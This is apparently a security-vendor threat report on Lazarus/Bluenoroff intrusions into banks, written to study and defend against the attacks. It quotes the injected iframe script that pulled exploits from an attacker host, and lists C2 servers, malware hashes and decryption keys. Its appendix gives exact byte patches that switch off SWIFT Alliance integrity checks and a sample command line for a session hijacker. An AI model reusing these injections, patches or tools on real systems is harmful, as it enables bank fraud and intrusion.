The web server installation was quite fresh: it had hosted the companys new website, which was migrated from a previous server, for just a few months before it was compromised.
The bank contracted a pentesting company to do a security assessment of the new website which was ongoing when Lazarus breached the server.
The infection on the web server appeared in the middle of pentesting probes.
Some of these probes were successful and the pentester uploaded a C99-like webshell to the server as a proof of breach.
Then the pentester continued probing other vulnerable scripts on the server, which is why we believe that the intention was benign.
In the end, all scripts discovered by the pentester were reported and patched.
Considering that there were known breaches on the webserver, which were identified and patched with the help of an external security audit, there is a high probability that the server was found and breached by the Lazarus actor before the audit.
Another possibility is that the C99- shell uploaded by the pentester was backdoored and beaconed back to the Lazarus Group, which immediately took over the server.
Unfortunately, the C99-shell was identified only by the query string, the body of the webshell was not recovered.
One way or another, the breach of the web server seems to be the most probable infection vector used by Lazarus to enter the banks network.
Incident 2 Our investigation in Europe started with very similar symptoms to those which we have previously seen in South East Asia in Incident 1.
In January 2017 we received information about new detections of the Bluenoroff malware we have been tracking.
One of the alarming triggers was the sudden deployment of freshly built samples, which indicated that a new serious operation had begun.
After establishing a secure communication with some of the targets, we passed some indicators of compromise and quickly got some feedback confirming the hits.
Thanks to the support and cooperation of a number of partners, we managed to analyse multiple harddrive disk images that were made soon after taking the identified compromised systems offline.
Analysis of the disk images revealed the presence of multiple malware tools associated with the Bluenoroff unit of the Lazarus Group.
Analysis of the event logs indicate that several hosts were infected and other hosts had been targeted by the attackers for lateral movement operations.
Attackers attempted to access the domain controller and mail server inside the companies, which is why we recommend that future investigators should avoid using corporate email for communicating with victims of Lazarus Group.
In one case, the initial attack leveraged an old vulnerability in Adobe Flash Player, which was patched by Adobe in April 2016.
Although an updater was installed on this machine, it failed to update Adobe Flash Player, probably due to network connectivity issues.
Initial Infection.
In one of the incidents, we discovered that patient zero visited a compromised government website using Microsoft Internet Explorer on 10 January, 2017.
Infected webpage URL: https://www.knf.gov[.
]pl/opracowania/sektor_bankowy/index.html The time of the visit is confirmed by an Internet Explorer cache file, which contains an html page body from this host.
The webpage loaded a Javascript resource from the same webserver referenced from the page: script typetext/javascript src/DefaultDesign/Layouts/KNF2013/resources/accordian- src.js?ver11/script The information provided below appeared in the public domain.
Preliminary investigation suggests that the starting point for the infection could have been located on the webserver of a Polish financial sector regulatory body, Polish Financial Supervision Authority (www.knf.gov[.
]pl).
Due to a slight modification of one of the local JS files, an external JS file was loaded, which could have executed malicious payloads on selected targets.
https://badcyber.com/several-polish-banks-hacked-information-stolen-by-unknown-attackers/ Note: image is a courtesy of badcyber.com The unauthorised code was located in the following file: http://www.knf.gov[.
]pl/DefaultDesign/Layouts/KNF2013/resources/accordian-src.js?ver11 and looked like this: document.write(div idefHpTk width0px height0pxiframe nameforma srchttps://sap.misapor[.
]ch/vishop/view.jsp?pagenum1 width145px height146px styleleft:- 2144pxposition:absolutetop :0px/iframe/div) After successful exploitation, malware was downloaded to the workstation, where, once executed, it connected to some foreign servers and could be used to perform network reconnaissance, lateral movement and data exfiltration.
Visiting the exploit page resulted in Microsoft Internet Explorer crashing, which was recorded with a process dump file.
The dumped process included the following indicators: [version2] [swfURLhttps://sap.misapor[.
]ch/vishop/include/cambio.swf pageURLhttps://sap.misapor[.]ch/vishop/view.jsp]...
Additional research by Kaspersky Lab discovered that the exploit file at hxxp://sap.misapor[.
]ch:443/vishop/include/cambio.swf resulted in the download of a backdoor module.
Based on our own telemetry, Kaspersky Lab confirms that sap.misapor[.
]ch was compromised as well, and was spreading exploits for Adobe Flash Player and Microsoft Silverlight.
Some of the known vulnerability CVEs observed in attacks originate from that website: 1.
CVE-2016-4117 2.
CVE-2015-8651 3.
CVE-2016-1019 4.
CVE-2016-0034 The Flash exploit used in the attacks was very similar to known exploits from the Magnitude Exploit Kit.
These vulnerabilities have been patched by Adobe and Microsoft since April 2016 and January 2016 respectively.
Fig.
Part of the exploit code Inside the exploits, one can see a lot of Russian word strings, like chainik, BabaLena, vyzov_chainika, podgotovkaskotiny, etc.
The shellcode downloads the final payload from: https://sap[.
]misapor.ch/vishop/view.jsp?uid[redacted]pagenum3eid00000002s2 data Its worth mentioning here that Lazarus used other false flags in conjunction with this Russian exploit code.
They also used some Russian words in one of the backdoors and packed the malware with a commercial protector (Enigma) developed by a Russian author.
However, the Russian words in the backdoor looked like a very cheap imitation, because every native Russian speaking software developer quickly noticed how odd these commands were.
Fig.
Russian words in the backdoor code.
At the time of research this URL was dead but we were able to find an identical one which leads to a malicious file download (MD5: 06cd99f0f9f152655469156059a8ea25, detected as Trojan- Banker.
Win32.Alreay.gen) from http://www.eye-watch[.
]in/design/img/perfmon.dat.
Interestingly, this sample was uploaded to VirusTotal from Poland and Korea in November 2016.
It is a packed version of a previously known backdoor used by Lazarus attackers in Incident 1s bank.
What Made the Breach Possible Since the attackers didnt use any zero-days, the infiltration was successful because of non- updated software.
In one case, we observed a victim running the following software: The exploit breached the system running Adobe Flash Player, version 20.0.0.235.
This version was officially released on 8 December, 2015.
Adobe implemented a self-update mechanism for Flash Player some years ago and the analyzed system indeed had a scheduled job, which attempted to periodically update Adobe Flash Updater.
We checked the event logs of the Task Scheduler and this task was regularly running.
The task was started as SYSTEM user and attempted to connect to the Internet to fetch Flash Player updates from fpdownload.macromedia.com.
However, this attempt failed, either because it couldnt find the proxy server to connect to the update server, or because of missing credentials for the proxy.
The last failed attempt to update Adobe Flash was dated in December 2016, a month before the breach happened.
If only that updater could have accessed the Internet the attack would have failed.
This is an important issue that may be widely present in many corporate networks.
Lateral Movement.
Backup Server.
After the initial breach the attackers pivoted from infected hosts and emerged to migrate to a safer place for persistence.
A backup server was chosen as the next target.
Based on traffic logs provided for our analysis, we confirmed that there were connections to known Bluenoroff C2 servers originating from infected hosts.
The following information was found in the network logs: Destination:Port Type Bytes Transfered 82.144.131[.
]5:8080 Incomplete Less than 1KB 82.144.131[.
]5:443 SSL Less than 3KB By checking other non-whitelisted hosts and IP ranges we were able to identify an additional C2 server belonging to the same attackers: Destination:Port Type Bytes Transfered 73.245.147[.
]162:443 SSL Less than 1.5MB While this additional C2 hasnt been reported previously, there were no additional hosts found that connected to that server.
Lateral Movement.
Host1.
During the attack, the threat actor deployed a number of other malware to a second machine we call Host1.
The malware files include: Filename Size MD5 SYSTEM\msv2_0.dll 78848 bytes 474f08fb4a0b8c9e1b88349098de10b1 WINDIR\Help\msv2_0.chm  729088 bytes 579e45a09dc2370c71515bd0870b2078 WINDIR\Help\msv2_0.hlp 3696 bytes 7413f08e12f7a4b48342a4b530c8b785 The msv2_0.dll decrypts and loads the payload from msv2_0.chm, which, in turn, decrypts and loads a configuration file from msv2_0.hlp.
msv2_0.hlp, which is encrypted with Spritz encryption algorithm and the following key: 6B EA F5 11 DF 18 6D 74 AF F2 D9 30 8D 17 72 E4 BD A1 45 2D 3F 91 EB DE DC F6 FA 4C 9E 3A 8F 98 Full technical details about this malware are available in the Appendix.
The decrypted configuration file contains references to two previously known1 Bluenoroff C2 servers: tradeboard.mefound[.
]com:443 movis-es.ignorelist[.
]com:443 Another file created around the same time was found in: C:\Windows\Temp\tmp3363.tmp.
It included a short text file which contained the following text message: [SC] StartService FAILED 1053: The service did not respond to the start or control request in a timely fashion.
Additional searches by events which occurred around the same time brought some evidence of other command line executable modules and Windows system tools being run on that day and later.
The following Prefetch files indicate the execution of other modules: Executable Run Counter RUNDLL32.EXE 1 RUNDLL32.EXE2 1 FIND.EXE 6 GPSVC.EXE 11 SC.EXE 11 NET.EXE 42 NETSTAT.EXE 8 MSDTC.EXE 7 This confirms the active reconnaissance stage of the attack.
According to prefetch files for RUNDLL32.EXE, this executable was used to load msv2_0.dll and msv2_0.chm.
References to these files were found in the prefetch data of this process.
1 Bluenoroff is a Kaspersky Lab codename for a threat actor involved in financial targeted attacks.
The most well-known attack launched by the Bluenoroff group is the Bangladesh bank heist.
2 Same executable was run with different command line Note: MSDTC.EXE and GPSVC.EXE are among the commonly used filenames of these attackers in the past.
While these filenames may look legitimate, their location was different from the standard system equivalents.
Standard Windows msdtc.exe binary is usually located in systemroot\System32\msdtc.exe, while the attacker placed msdtc.exe in systemroot\msdtc.exe for disguise.
The path was confirmed from parsed prefetch files.
Unfortunately the attackers have already securely wiped the msdtc.exe file in the Windows directory.
We were unable to recover this file.
The same applies to systemroot\gpvc.exe which existed on the dates of the attack but was securely wiped by the attackers later.
Based on the timestamps we found so far, it seems that the initial infection of Host1 occurred through access from a privileged account.
We looked carefully at the events preceding the infection time and found something suspicious in the Windows Security event log: Description Special privileges assigned to new logon.
Subject: Security ID: [REDACTED] Account Name: [ADMIN ACCOUNT REDACTED] Account Domain: [REDACTED] Logon ID: [REDACTED] Privileges: SeSecurityPrivilege                 SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege                     SeDebugPrivilege SeSystemEnvironmentPrivilege                 SeLoadDriverPrivilege SeImpersonatePrivilege Then, we checked if the user [ADMIN ACCOUNT REDACTED] had logged into the same system in the past.
According to the event logs this had never happened before the attackers used it.
Apparently, this user logon had very high privileges (SeBackupPrivilege, SeLoadDriverPrivilege, SeDebugPrivilege, SeImpersonatePrivilege), allowing the remote user to fully control the host, install system services, drivers, start processes as other users, and have full control over other processes running in the system (i.e.
inject code into their memory).
Next, we searched for other event log records related to the activity of the same account, and found several records suggesting that this account was used from Host1 to access other hosts in the same domain.
Description A logon was attempted using explicit credentials.
...
Account Whose Credentials Were Used: Account Name: [ADMIN ACCOUNT REDACTED] Account Domain: [REDACTED] Logon GUID: 00000000-0000-0000-0000-000000000000 Target Server: Target Server Name: [REDACTED] Additional Information: [REDACTED] Process Information: Process ID: 0x00000000000xxxxx Process Name: C:\Windows\System32\schtasks.exe Network Information: Network Address: - Port: - This event is generated when a process attempts to log on an account by explicitly specifying that accounts credentials.
This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
This indicates that the account was used to create new scheduled tasks on the remote hosts.
This is one of the popular ways to remotely run new processes and propagate infections during cyber attacks.
Then we searched for other similar attempts to start schtasks.exe remotely on other hosts and collected several of them.
Lateral Movement.
Host2.
This host contained several unique and very large malware modules.
The following files were found on the system: Filename Size MD5 C:\Windows\gpsvc.exe 3449344 bytes 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae C:\Windows\Help\srservice.chm 1861632 bytes cb65d885f4799dbdf80af2214ecdc5fa (decrypted file MD5: ad5485fac7fed74d112799600edb2fbf) C:\Windows\Help\srservice.hlp 3696 bytes 954f50301207c52e7616cc490b8b4d3c (config file, see description of ad5485fac7fed74d112799600edb2fbf) C:\Windows\System32\srservice.dll 1515008 bytes 16a278d0ec24458c8e47672529835117 C:\Windows\System32\lcsvsvc.dll 1545216 bytes c635e0aa816ba5fe6500ca9ecf34bd06 All of this malware were general purpose backdoors and their respective droppers, loaders and configuration files.
Details about this malware is available in the Appendix.
Lateral Movement.
Host3.
The following malicious files were found on the system: Filename Size MD5 C:\Windows\gpsvc.dat 901555 bytes c1364bbf63b3617b25b58209e4529d8c C:\Windows\gpsvc.exe 753664 bytes 85d316590edfb4212049c4490db08c4b C:\Windows\msdtc.bat 454 bytes 3b1dfeb298d0fb27c31944907d900c1d Gpsvc.dat contains an encrypted payload for an unidentified loader.
Its possible that the loader was placed on a different host following the anti-forensic technique that we have observed previously or gpsvc.exe is the loader but we are missing the secret passphrase passed via commandline.
The decrypted files are described in the Appendix to this report.
Cease of Activity In several cases we investigated, once the attackers were confident they had been discovered, because they lost some of the compromised assets, they started wiping the remaining malware payloads.
This indicates a skilled attacker, who cares about being discovered.
Other Known Operations The attack on European financial institutions was implemented via a watering hole, a compromised government website that had many regular visitors from local banks.
However, the same approach has been used in multiple other places around the world.
The Polish waterhole incident got much more public attention than the others due to the escalation of the alert to a higher level and the compromise of a government website.
We have seen a few other websites being compromised with the same symptoms and turned into a watering hole through script injection or by placing exploit delivery code.
We have found them in the following countries: Russian Federation Australia Uruguay Mexico India Nigeria Peru What connected most of the compromised websites was the JBoss application server platform.
This suggests that attackers may have an exploit for the JBoss server.
Unfortunately we havent managed to find the exploit code yet.
Nevertheless, we would like to recommend to all JBoss application server administrators that they limit unnecessary access to their servers and check the access logs for attack attempts.
Banks were not the only Lazarus Group targets.
This suggests that it has multiple objectives.
We have seen some unusual victims, probably overlapping with the wider Lazarus Group operations, i.e.
a cryptocurrency business.
When it comes to Bluenoroff, its typical list of targets includes banks, financial and trading companies, casinos and cryptocurrency businesses.
Detections of Lazarus/Bluenoroff malware are also distributed across the world.
Here are some: Conclusions Lazarus is not just another APT actor.
The scale of Lazarus operations is shocking.
It has been on a growth spike since 2011 and activities didnt disappear after Novetta published the results of its Operation Blockbuster research.
All those hundreds of samples that were collected give the impression that Lazarus is operating a factory of malware, which produces new samples via multiple independent conveyors.
We have seen it using various code obfuscation techniques, rewriting its own algorithms, applying commercial software protectors, and using its own and underground packers.
Lazarus knows the value of quality code, which is why we normally see rudimentary backdoors being pushed during the first stage of infection.
Burning those doesnt cause too much impact on the group.
However, if the first stage backdoor reports an interesting infection it starts deploying more advanced code, carefully protecting it from accidental detection on disk.
The code is wrapped into a DLL loader or stored in an encrypted container, or maybe hidden in a binary encrypted registry value.
It usually comes with an installer that only the attackers can use, because they password protect it.
It guarantees that automated systems - be it public sandbox or a researchers environment - will never see the real payload.
Most of the tools are designed to be disposable material that will be replaced with a new generation as soon as they are burnt.
And then there will be newer, and newer, and newer versions.
Lazarus avoids reusing the same tools, the same code, and the same algorithms.
Keep morphing seems to be its internal motto.
Those rare cases when it is caught with the same tools are operational mistakes, because the group seems to be so large that one part doesnt know what the other is doing.
All this level of sophistication is something that is not generally found in the cybercriminal world.
Its something that requires strict organization and control at all stages of the operation.
Thats why we think that Lazarus is not just another APT actor.
Of course such a process requires a lot of money to keep running the business, which is why the appearance of the Bluenoroff subgroup within Lazarus was logical.
Bluenoroff, as a subgroup of Lazarus, is focused only on financial attacks.
It has reverse engineering skills and spends time tearing apart legitimate software, implementing patches for SWIFT Alliance software, and finding ways and schemes to steal big money.
Its malware is different and the attackers arent exactly soldiers that hit and run.
Instead they prefer to make an execution trace to be able to reconstruct and quickly debug the problem.
They are field engineers that come when the ground is already cleared after the conquest of new lands.
One of Bluenoroffs favorite strategies is to silently integrate into running processes without breaking them.
From the perspective of the code weve seen it looks as if it is not exactly looking for hit and run solutions when it comes to money theft.
Its solutions are aimed at invisible theft without leaving a trace.
Of course, attempts to move around millions of USD can hardly remain unnoticed but we believe that its malware might now be secretly deployed in many other places - and it doesnt trigger any serious alarms because its much more quiet.
We would like to note, that in all the observed attacks against banks that we have analyzed, servers used to connect to SWIFT didnt demonstrate or expose any specific vulnerability.
The attacks were focused on the banks infrastructure and staff, exploiting vulnerabilities in commonly used software or websites, bruteforcing passwords, using keyloggers and elevating privileges.
However, the design of inter-banking transactions using a banks own server running SWIFT connected software suggests that there are personnel responsible for the administration and operation of the SWIFT connected server.
Sooner or later the attackers find these users, gain their necessary privileges and access the server connected to the SWIFT messaging platform.
With administrative access to the platform, they can manipulate the software running on the system as they wish.
There is not much that can stop them, because from a technical perspective it may not differ from what authorized and qualified engineers do: starting and stopping services, patching software, or modifying databases.
Therefore, in the breaches we analyzed, SWIFT as an organization hasnt been directly at fault.
More than that, we have witnessed SWIFT trying to protect its customers by implementing the detection of database and software integrity issues.
We believe that this is the right direction and has to be extended with full support.
Complicating patches of integrity checks further may create a serious threat to the success of further operations run by Lazarus/Bluenoroff against banks worldwide.
To date, the Lazarus/Bluenoroff group has been one of the most successful in large scale operations against financial industry.
We believe that it will remain one of the biggest threats to the banking sector, finance and trading companies as well as casinos, for years to come.
As usual, defense against attacks such as those from Lazarus/Bluenoroff should include a multi- layered approach.
Kaspersky Lab products include special mitigation strategies against this group, as well as many other APT groups we track.
If you are interested in reading more about effective mitigation strategies in general, we recommend the following articles: Strategies for mitigating APTs How to mitigate 85 of threats with four strategies We will continue tracking the Lazarus/Bluenoroff actor and will share new findings with our intel report subscribers as well as with the general public.
If you would like to be among the first to hear our news, we suggest you subscribe to our intel reports.
For more information, contact: intelreportskaspersky.com.
https://securelist.com/threats/strategies-for-mitigating-advanced-persistent-threats-apts/ https://securelist.com/blog/software/69887/how-to-mitigate-85-of-threats-with-only-four-strategies/ Appendix: Malware Analysis Malware 1: SWIFT transactions Information Harvester (New Runoff) MD5: 0abdaebbdbd5e6507e6db15f628d6fd7 Discovered path: C:\MSO10\fltmsg.exe Date: 2016.08.18 23:44:21 Size: 90112 bytes Compiled on: 2016.08.18 22:24:41 (GMT) Linker version: 10.0 Type: PE32 executable (GUI) Intel 80386, for MS Windows Internal Bluenoroff module tag: NR Used in: Incident 1 An almost identical file was found in another location with the following properties: MD5: 9d1db33d89ce9d44354dcba9ebba4c2d Discovered path: D:\Alliance\Entry\common\bin\win32\nroff.exe Date detected: 2016-08-12 22:24:19 Size: 89088 bytes Compiled on: 2016.08.12 12:25:02 (GMT) Type: PE32 executable (GUI) Intel 80386, for MS Windows Internal module mark: NR The compilation timestamp indicates the malware was compiled exactly one day before being used in the bank.
The module starts from creating a MSO10 directory on the logical drive where the Windows system is installed, i.e.
C:\MSO10.
Also, it crafts several local filepaths, the purpose of which isnt clear.
Not all have reference in the code and they could be copy-pasted code or part of a common file in the framework.
The paths are represented with the following strings: DRIVE:\MSO10\LATIN.SHP DRIVE:\MSO10\ENGDIC.LNG DRIVE:\MSO10\ADDT.REF DRIVE:\MSO10\MSE.LIV Upon starting it makes five attempts to read file C:\MSO10\LATIN.SHP with an interval of 100ms.
If the LATIN.SHP container is not found or has an invalid signature, the log record will contain the following message: NR-PR, which we assume indicates a PRoblem loading module codenamed NR.
The name NR is probably a reference to the printer helper program called nroff used by SWIFT Alliance software.
The origins of the nroff name go back to a Unix text-formatting program according to Wikipedia.
https://en.wikipedia.org/wiki/Nroff The file is read successfully if its size is larger than or equal to a hardcoded value of 35,260 bytes.
After that the module decrypts the file with an RC4 algorithm using a hardcoded encryption key: 4E 38 1F A7 7F 08 CC AA 0D 56 ED EF F9 ED 08 EF.
This hardcoded key is quite unique and has been discovered in few other places, including in other tools from the set of malware used to attack SWIFT Alliance software and within the Wiper Tool discovered in Bangladesh in early 2016 (MD5: 5d0ffbc8389f27b0649696f0ef5b3cfe).
It was also used in another tool to encrypt configuration files as reported by BAE Systems.
The decrypted data from the file is validated by checking the magic header of the data, which should be 0xA0B0C0D0 value.
The file contains a configuration of 35,260 bytes which is copied to a reserved memory and a sequence of data blocks of 1096 bytes each.
The number of blocks may vary, the module reads them all and stores them in a linked list structure.
There is an internal logging feature implemented in the current module, which keeps a text log in C:\MSO10\ENGDIC.LNG.
The text records are stored in lines of the following format: [Hour:Minute:Second] [Process_PID] Message\r\n The message may contain the following prefixes: [ERROR] [INFO] [WARNING] This executable is designed to be called with three parameters: fltmsg.exe mode print file output-path The first parameter is a number 1 or 2.
If any other value is passed to the executable it simply saves it to the log in the format of NR-PR-P mode.
We assume that NR-PR-P is interpreted by the attackers as nroff problem parameter.
Mode 1 means that the module shall select the output path automatically, which contains the following string template: 04d04d.prt, otherwise the output path is copied from the third command line argument.
For recognized modes 1 and 2 the module saves a backup for every print file passed to it via command line that has the extension .prt, .out or .txt.
The backups are stored in one of the following directories: C:\MSO10\P N\MOT\ C:\MSO10\R N\MOT\ C:\MSO10\N N\MOT\ Where N is a sequential integer number.
http://baesystemsai.blogspot.sg/2016/04/two-bytes-to-951m.html The malware is an information harvester.
It processes files passed to it, parses them and searches for specific SWIFT transaction codes, such as: 28C: Statement Number 25: Account Identification Its main purpose is to accumulate information about transactions passed through it, saving Sender and Receiver, Account and Statement Numbers as well as some other data included in parsed files.
The files passed to it are allegedly in the SWIFT transaction format, which suggests that the attackers were closely accustomed to internal SWIFT documentation or carefully reverse engineered the format.
It recognizes the following format tags: 515 (M51) 940 (M94) - start of day balance 950 (M95) - end of day balance When such files are found, it logs them into the log folder drive:\MSO10 and saves a copy.
The RC4-encrypted file we found (LATIN.SHP) contained the following strings after decryption: D:\Alliance\Entry\database\bin\sqlplus.exe D:\Alliance\Entry\common\bin\win32 D:\Alliance\Entry C:\MSO10\fltmsg.exe C:\MSO10\MSO.DLL C:\MSO10\MXS.DLL \\127.0.0.1\share localhost\testuser \\127.0.0.1\share\ In the older case from Bangladesh the config contained SWIFT business identifier codes (BIC) to hide in SWIFT transaction statements.
Malware 2: SWIFT Alliance Access Protection Mangler MD5: 198760a270a19091582a5bd841fbaec0 Size: 71680 bytes Discovered path: C:\MSO10\MSO.dll Compiled on: 2016.08.18 22:24:44 (GMT) Linker version: 10.0 Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Internal Bluenoroff module tag: PM Used in: Incident 1 The compilation timestamp indicates the malware was compiled in the days preceding the attack on the bank.
This malware tool is used to patch some SWIFT Alliance software modules in the memory to disable certain protection mechanisms that were implemented to detect direct database manipulation attempts.
The code was most likely created by the same developer that created SWIFT transactions Information Harvester (MD5: 0abdaebbdbd5e6507e6db15f628d6fd7).
Like the information harvester it creates a MSO10 directory on the logical drive where the Windows system is installed, i.e.
C:\MSO10.
It also crafts several local filepaths, the purpose of which isnt clear.
Not all have reference in the code and could be a copy-pasted code or part of common file in the framework: DRIVE:\MSO10\LATIN.SHP DRIVE:\MSO10\ENGDIC.LNG DRIVE:\MSO10\ADDT.REF DRIVE:\MSO10\MSE.LIV Upon starting it makes five attempts to read file C:\MSO10\LATIN.SHP with an interval of 100ms.
If the LATIN.SHP container is not found or is invalid, the log will contain the following message: PM-PR.
The file is read successfully if its size is larger or equal to a hardcoded value of 35,260.
After that the module decrypts the file with an RC4 algorithm using a hardcoded encryption key: 4E 38 1F A7 7F 08 CC AA 0D 56 ED EF F9 ED 08 EF.
The decrypted data from the file is validated by checking the magic header of the data, which should be 0xA0B0C0D0 value.
The file contains a configuration block of 35,260 bytes which is copied to a reserved memory and a sequence of data blocks of 1096 bytes long.
The number of blocks may vary, the module reads them all and stores them in a linked list structure.
If the LATIN.SHP file is found then the module simply counts the number of records in it and proceeds with patching the target file, which is described further.
If it is not found or the file magic bytes differ from expected after decryption, then the patching does not happen and the code simply drops execution.
There is an internal logging feature implemented in the current module, which keeps text log in C:\MSO10\ENGDIC.LNG.
The following log messages may appear in this file in plaintext: Log message format Description of values PatchMemory(s, d) s - current executable filename d - 0 or 1 (0 - unpatch operation, 1 - patch operation) [PatchMemory] s s - current executable filename [PatchMemory] LoadLibraryA(s)  X s - additional DLL filename X - additional DLL image base address [WorkMemory] s d End s - executable name to be patched d - process ID value This is printed in case of failure to open process [WorkMemory] pidd, names d - process ID value s - executable name to be patched [Patch] 1 Already Patched s s - executable name to be patched [Unpatch] 1 Already Unpatched s s - executable name to be patched [Patch] 1 s s - executable name to be patched [Patch] 1 s s - executable name to be patched P[u-d] d u - process ID which is patched d - patch index (starts from 0), corresponds to patch block d - contains last WinAPI error code This is printed in case of failure to patch memory P[u-d] OK u - process ID which is patched d - patch index (starts from 0), corresponds to patch block [Patch] 2 Already Patched s s - executable name to be patched [Unpatch] 2 Already Unpatched s s - executable name to be patched [Patch] 2 s s - executable name to be patched [Patch] 2 s s - executable name to be patched The module has seven embedded blocks of 0x130 bytes long that contain patch target information.
Each block seems to have four slots of 0x4C bytes with patch information.
However, only the first slot per module is used at this point.
Each slot contains information for just two code modifications.
The patch slots include the size of the patch, and the relative path to the module to be patched on disk, offset to the patched bytes (containing the relative virtual address) and original bytes.
The patcher verifies that the original bytes are in place before modifying the code.
The patch procedure can also do unpatching by design, however this feature is currently unused.
The first slot is a patch for the liboradb.dll library which seems to be essential and is applied in all cases.
Other patches are designed for specific executables that the current SWIFT Alliance Software Patcher DLL module is loaded in.
It searches for a corresponding patch that matches the current process executable filename and applies only that patch.
The following table contains an interpretation of the patch-blocks embedded into the binary.
The table omits empty slots and shows only valid patch instructions: Block Module Patch RVA Original code Replacement Description 1 liboradb.dll 0x8147e 04 00 Disables checksum verification 2 Block is Unused 3 MXS_cont.exe 0xff49 e8c2fbffff b801000000 Disables internal security checks.
0x10b0c e8c2fbffff b801000000 4 mxs_ha.exe 0x65a9 e8c2fbffff b801000000 Disables internal security checks.
0x716c e8c2fbffff b801000000 5 sis_sndmsg.exe 0x49719 e8c2fbffff b801000000 Disables internal security checks.
0x4a2dc e8c2fbffff b801000000 6 SNIS_sendmsg.exe 0xa8119 e8c2fbffff b801000000 Disables internal security checks.
0xa8cdc e8c2fbffff b801000000 7 SNSS_cont.exe 0x7849 e8c2fbffff b801000000 Disables internal security checks.
0x840c e8c2fbffff b801000000 SWIFT Alliance software binary tools are linked with file saa_check.cpp, which provides basic security checks and validates the integrity of the database.
The patches are applied to the modules to disable these checks and prevent the detection of database inconsistency.
The file selection is not random, as far as the SWIFT connected servers server environment is a complex of executable files with complicated relations, the attackers identified all executables that implemented new security features and patched them off.
We have checked all other binaries on the analyzed servers and none of other applications were linked with saa_check.cpp, except those in the patchlist.
The patcher DLL has to be loaded into the address space of the target process to work.
It is not designed to patch other processes.
Malware 3: SWIFT Alliance software Files Hook MD5: f5e0f57684e9da7ef96dd459b554fded Size: 91136 bytes Discovered path: C:\MSO10\MXS.dll Compiled on: 2016.08.18 22:24:31 (GMT) Linker version: 10.0 Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Internal Bluenoroff module tag: HD (alternative: HF) Used in: Incident 1 The compilation timestamp indicates the malware was compiled during the days of the attack on the bank.
It is very similar to SWIFT transactions Information Harvester and SWIFT Alliance software Protection Mangler.
Like the information harvester it creates a MSO10 directory on the logical drive where the Windows system is installed, i.e.
C:\MSO10.
Similarly, it crafts several local filepaths: DRIVE:\MSO10\LATIN.SHP DRIVE:\MSO10\ENGDIC.LNG DRIVE:\MSO10\ADDT.REF DRIVE:\MSO10\MSE.LIV Upon starting it makes five attempts to read file C:\MSO10\LATIN.SHP with an interval of 100ms.
If the LATIN.SHP container is not found or is invalid, the log will contain the following message: HD-PR.
The file is read successfully if its size is larger than or equal to a hardcoded value of 35,260.
After that the module decrypts the file with an RC4 algorithm using the hardcoded encryption key: 4E 38 1F A7 7F 08 CC AA 0D 56 ED EF F9 ED 08 EF.
The decrypted data from the file is validated by checking the magic header of the data, which should be 0xA0B0C0D0 value.
The file contains a configuration of 35,260 bytes which is copied to a reserved memory and a sequence of data blocks 1096 bytes long.
The number of blocks may vary, the module reads them all and stores them in a linked list structure.
If the LATIN.SHP file is found then the module simply counts the number of records in it and proceeds.
If it is not found or the magic file bytes differ from expected after decryption, then the patching will not happen and the code simply drops execution.
There is an internal logging feature implemented in the current module, which keeps a text log in C:\MSO10\ENGDIC.LNG.
The following log messages may appear in a file in plaintext: Log message format Description of values HF_Initialize(s) s - current executable filename NewCopyFileA(s, s, d) The arguments correspond to source, destination file and flag value for overwrite if exists.
NewCopyFileA-CreateProcess(s) failed with errord s - commandline of a fltmsg.exe process d - Win32 API integer error code NewCreateProcessA(s) - 1 s  command line of a new process NewCreateProcessA(s) - 2 s  command line replacement The purpose of this module is in patching the current process, so that CopyFileA function in fact calls a custom hook function, which calls CreateProcessA and passes some arguments to it.
The command line for the new process is as follows: C:\MSO10\fltmsg.exe 2 source_path destination_path The path to the fltmsg.exe process is taken from the decrypted configuration file C:\MSO10\LATIN.SHP.
Another API function, CreateProcessA is similarly hooked.
Any call to create a new process, which starts one of two recognized executables nroff or printhelper, is modified.
Before the original executables are called, a custom application will be spawned with the following commandline: C:\MSO10\fltmsg.exe 0 original arguments - for nroff C:\MSO10\fltmsg.exe 1 original arguments - for printhelper If the execution fails the module logs a failure message with a Win32 API error code.
We assume that this module is injected in the middle of running SWIFT Alliance software, to divert some of the interesting files for alteration or to make a reserve copy.
Malware 4: Session Hijacker MD5: 2963cd266e54bd136a966bf491507bbf Date (appeared in collection): 2015-05-23 02:27 Size: 61440 bytes Discovered path: c:\windows\mdtsc.exe Compiled on: 2011.02.18 07:49:41 (GMT) Type: PE32 executable (console) x86-64, for MS Windows Linker version: 10.0 Used in: Incident 1 This file is a command line tool to start a new process as another user currently logged on to the same system.
To find the user token, one of the following case-insensitive command line options is used: Option Description -n Name Find token by process name -p PID Find token by process ID -s SESSID Find token by Terminal session ID The last command line option defines the command line of the new process to start.
Example usage: c:\windows\mdtsc.exe  -p 8876 rundll32.exe c:\windows\fveupdate.dll,Start MAS_search.exe The example tool usage was recovered from an infected system during forensic analysis.
It was used to start a SWIFT Alliance software tool via a custom application starter that most probably tampered with the new process.
The fveupdate.dll module was not recovered from the system.
Malware 5: TCP Tunnel Tool MD5: e62a52073fd7bfd251efca9906580839 Date discovered: 2016.08.12 01:11:31 Discovered path: C:\Windows\winhlp.exe Size: 20480 bytes Known as: winhlp.exe, msdtc.exe Last start date: 2016.08.12 21:59 Started by: svchost.exe (standard Windows signed binary) Compiled on: 2014.09.17 16:59:33 (GMT) Type: PE32 executable (GUI) Intel 80386, for MS Windows Linker version: 6.0 Used in: Incident 1 This application is a tool that works as a simple TCP relay that encrypts communication with C2 and contains remote reconfiguration capability.
It has to be started with at least two parameters containing host IP and port.
Two additional optional parameters may define the destination server IP and port to relay network connections to.
The destination server IP and port can be retrieved and reconfigured live from C2.
Lets refer to these pairs of IP/ports as HostA/PortA and HostB/PortB respectively.
When the tool starts it attempts to connect to the C2 server, which starts from the generation of a handshake key.
The handshake key is generated via a simple algorithm such as the following: i  0 do  key[i]  0xDB  i  0xF7 i while ( i  16 ) This algorithm generates the following string: ASCII Hexadecimal ,-./()\  2c 2d 2e 2f 28 29 2a 2b 24 25 26 27 20 21 22 Next, it generates a message body, a string of bytes from 64 to 192 bytes long.
The fifth DWORD in the message is replaced with special code 0x00000065 (e character).
Then it encrypts the message with a handshake key and sends it to the C2 server with the data block length prepended to that buffer.
